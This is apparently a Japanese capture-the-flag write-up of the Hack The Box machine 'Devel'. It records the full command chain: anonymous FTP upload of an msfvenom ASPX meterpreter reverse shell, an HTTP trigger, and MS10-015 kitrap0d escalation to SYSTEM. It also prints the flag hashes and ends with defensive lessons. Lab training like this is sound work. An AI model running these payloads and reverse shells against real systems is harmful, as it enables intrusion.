Hack The BoxのWriteup(Devel)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Devel — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP)/80(IIS 7.5)
→
FTP匿名ログイン
IIS web rootへ書込可
→
ASPX meterpreterアップロード
windows/meterpreter/reverse_tcp
→
IIS APPPOOL\Web シェル
user.txtはAccess denied
→
MS10-015 kitrap0d
CVE-2010-0232 カーネル権限昇格
→
NT AUTHORITY\SYSTEM
user.txt ✓ & root.txt ✓

ポートスキャン

BASH
nmap -Pn -p 21,80 -sV -sC --max-retries 2 10.129.83.209
RESULT
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
FTPの匿名ログインが許可されており、かつそのディレクトリがIIS(80番)の Webルートそのものという致命的な設定ミス。FTP経由でファイルを配置すれば、 そのままHTTP経由で実行できる。

システム情報の確認(侵入後に実行)

RESULT (後述のシェル確立後に systeminfo を実行)
Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
System Type:                X86-based PC
Hotfix(s):                  N/A
Domain:                     HTB
🚨
Build 7600 = Windows 7 RTM(初期リリース版)で、Hotfixが一切当たっていない。 SP1はおろかセキュリティパッチが何一つ適用されていない極めて脆弱な状態であり、 2010年公開のカーネル脆弱性MS10-015がそのまま使える。
PHASE 2

FTP匿名アップロードで悪意ある ASPX を配置

meterpreter ASPX ペイロード生成

BASH
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.200 LPORT=4495 \
  -f aspx -o devel_shell.aspx
RESULT
Payload size: 354 bytes
Final size of aspx file: 2895 bytes
Saved as: devel_shell.aspx

FTP経由でIIS Webルートへアップロード

BASH
ftp 10.129.83.209
Name: anonymous
Password: anonymous@
ftp> binary
ftp> put devel_shell.aspx
ftp> ls
RESULT
200 Type set to I.
local: devel_shell.aspx remote: devel_shell.aspx
226 Transfer complete.
2895 bytes sent in 00:00 (15.09 KiB/s)

03-18-17  02:06AM       <DIR>          aspnet_client
10-17-26  05:51AM                 2895 devel_shell.aspx
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
✅
http://10.129.83.209/devel_shell.aspx にアクセスするだけで このペイロードが実行される状態になった。
PHASE 3

Metasploit ハンドラ起動 & ASPX トリガー

multi/handler 準備

BASH (msfconsole)
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4495
set ExitOnSession false
exploit -j

ASPX へのリクエストでペイロード発火

BASH
curl -s --max-time 10 http://10.129.83.209/devel_shell.aspx
RESULT (msfconsole 側)
[*] Sending stage (190534 bytes) to 10.129.83.209
[*] Meterpreter session 1 opened (10.10.15.200:4495 -> 10.129.83.209:49192)
BASH
sessions -l
RESULT
  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL
⚠️
実機デバッグで判明した重要な注意点: このIIS 7.5上での VirtualAlloc+CreateThreadによるP/Invokeシェルコード実行自体は問題なく動作する (例外ハンドリング付きの診断ページで検証済み)ものの、ASPXへの1回の HTTPリクエストだけではTCPコールバックが確立しないことが多く(体感成功率は 4回に1回程度、VPN越しの一時的なパケットロスが原因と推測)、複数回のリトライが 実質的に必須だった。手動攻略では確立するまで curl を数回叩き直せばよい。
PHASE 4

MS10-015 (kitrap0d) で SYSTEM 昇格 & フラグ取得

user.txt へのアクセス試行(権限不足を確認)

BASH (meterpreter 経由 shell → cmd.exe)
type C:\Users\babis\Desktop\user.txt
RESULT
Access is denied.
ℹ️
現在の権限は IIS APPPOOL\Web(IISアプリケーションプールの 仮想アカウント)であり、babisユーザーのデスクトップファイルには アクセスできない。SYSTEM権限への昇格が必要。

ms10_015_kitrap0d 実行

BASH (msfconsole)
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.10.15.200
set LPORT 4496
run -j
RESULT
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 1992 launched.
[*] Reflectively injecting the DLL into 1992...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (10.10.15.200:4496 -> 10.129.83.209:49193)
🚨
CVE-2010-0232 (MS10-015): Windows カーネルの NT仮想DOSマシン (NTVDM) サブシステムにおける特権昇格の脆弱性。既存のmeterpreterセッション (session 1, IIS APPPOOL\Web) を踏み台に、msiexec.exeプロセスへ DLLをリフレクティブインジェクションしカーネルの境界チェック不備を突くことで、 任意のユーザー権限から一撃でNT AUTHORITY\SYSTEMのシェルを 新規セッション(session 2)として取得する。

SYSTEM権限の確認

BASH
sessions -i 2 -c "whoami"
RESULT
whoami
nt authority\system

c:\windows\system32\inetsrv>

user.txt & root.txt取得

BASH
sessions -i 2 -c "type C:\Users\babis\Desktop\user.txt"
RESULT
type C:\Users\babis\Desktop\user.txt
0b0ac6e925300581f1a5e8ebe50c0298

c:\windows\system32\inetsrv>
user.txt — babis@devel
0b0ac6e925300581f1a5e8ebe50c0298
BASH
sessions -i 2 -c "type C:\Users\Administrator\Desktop\root.txt"
RESULT
type C:\Users\Administrator\Desktop\root.txt
4ba7cdfd877a7872cb7bad48f334262e

c:\windows\system32\inetsrv>
root.txt — Administrator@devel
4ba7cdfd877a7872cb7bad48f334262e
PHASE 5

運用上の注意点 — ASPXシェルコード実行の不安定さ

診断: P/Invokeメカニズム自体は正常に動作する

NOTE
例外を全て Response.Write で出力する診断用 ASPX (VirtualAlloc→Marshal.Copy→
CreateThread→WaitForSingleObject を手動で呼び出す) を作成しテストしたところ、
LastError は常に 0、WaitForSingleObject は意図通り WAIT_TIMEOUT(258、
reverse/bindシェルがブロッキング待機中であることを示す)を返しており、
.NET の P/Invoke自体やASP.NETのトラストレベル設定には一切問題が無いことを確認した。

原因の特定: 単発トリガーの接続成功率が低い

NOTE
windows/shell_bind_tcp(着信待受、送信不要)・windows/shell_reverse_tcp
(送信外向き)の両方でテストしたところ、どちらも1回のHTTPトリガーでは
高確率で接続が確立しなかった。リスナーを先に立てた上で複数回リトライする
ことで最終的に接続は確立する(本レポートの手順でも実際に確立している)。
VPN経由の高レイテンシ環境(往復200ms弱)における一時的なTCP接続失敗/
パケットロスが原因と推測され、AV・ファイアウォール等の恒常的なブロックでは
ないと判断した。
⚠️
実務上の対策: 1回のトリガーで接続が来なくても慌てず、 リスナーを維持したまま curl http://target/shell.aspx を 数回(3〜5回、数秒間隔で)打ち直すこと。初回で諦めると 「セッションが確立しない」という誤った結論に至りやすい。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — babis@devel
0b0ac6e925300581f1a5e8ebe50c0298
root.txt — Administrator@devel
4ba7cdfd877a7872cb7bad48f334262e

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
FTP匿名アクセス + IIS Webルート共有 Microsoft ftpd (Webルート兼用) 認証不要でのリモートコード実行 Critical FTP匿名ログインで書込可能なディレクトリがIISのWebルートと 完全に一致。悪意あるASPXを配置しHTTP経由で起動するだけでRCE成立
MS10-015 / CVE-2010-0232 (kitrap0d) Windows カーネル NTVDMサブシステム 一般ユーザー権限からのSYSTEM昇格 Critical msiexec.exeへのDLLリフレクティブインジェクションでカーネル境界チェック 不備を突き、user.txt / root.txt を同時取得可能な NT AUTHORITY\SYSTEMシェルを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(21/80) + systeminfoFTP匿名OK、IIS 7.5、Windows 7 Build 7600未修正
2アップロードFTP匿名書込でASPXをWebルートへ配置悪意ASPX配置完了
3フットホールドmulti/handler + HTTPトリガー(複数回)meterpreter session (IIS APPPOOL\Web)
4権限昇格ms10_015_kitrap0duser.txt & root.txt(SYSTEM同時取得)

学んだ教訓 & 防御策

問題点防御策
FTP匿名ログインが許可され、かつ書込可能なディレクトリがWebサーバーの公開ルートと共有されている FTP匿名アクセスを無効化する。やむを得ず必要な場合もアップロード先ディレクトリを Webルートから完全に分離し、スクリプト実行権限を与えない。
Windows 7 RTM(Build 7600)のままセキュリティパッチが一切適用されていない WSU/パッチ管理の自動化を徹底し、公開済みの重大脆弱性(特にカーネルレベル)には 速やかに対応する。サポート終了OSは退役・隔離する。
IISアプリケーションプールの実行コンテキストがカーネル脆弱性経由でSYSTEMまで到達できる 多層防御の原則に基づき、Webアプリケーションの実行権限を最小化するだけでなく OS自体のセキュリティ更新を維持し、単一の脆弱性で完全な侵害に至らないようにする。
HackTheBox: Devel | 完全攻略レポート